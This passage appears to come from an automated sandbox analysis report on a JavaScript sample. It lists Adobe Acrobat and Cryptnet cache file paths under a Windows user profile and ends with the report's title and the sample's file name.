C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\805a1c06-7a29-4f0d-ab9d-0a95e11251d1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4308

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4308

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
225008411339129134.js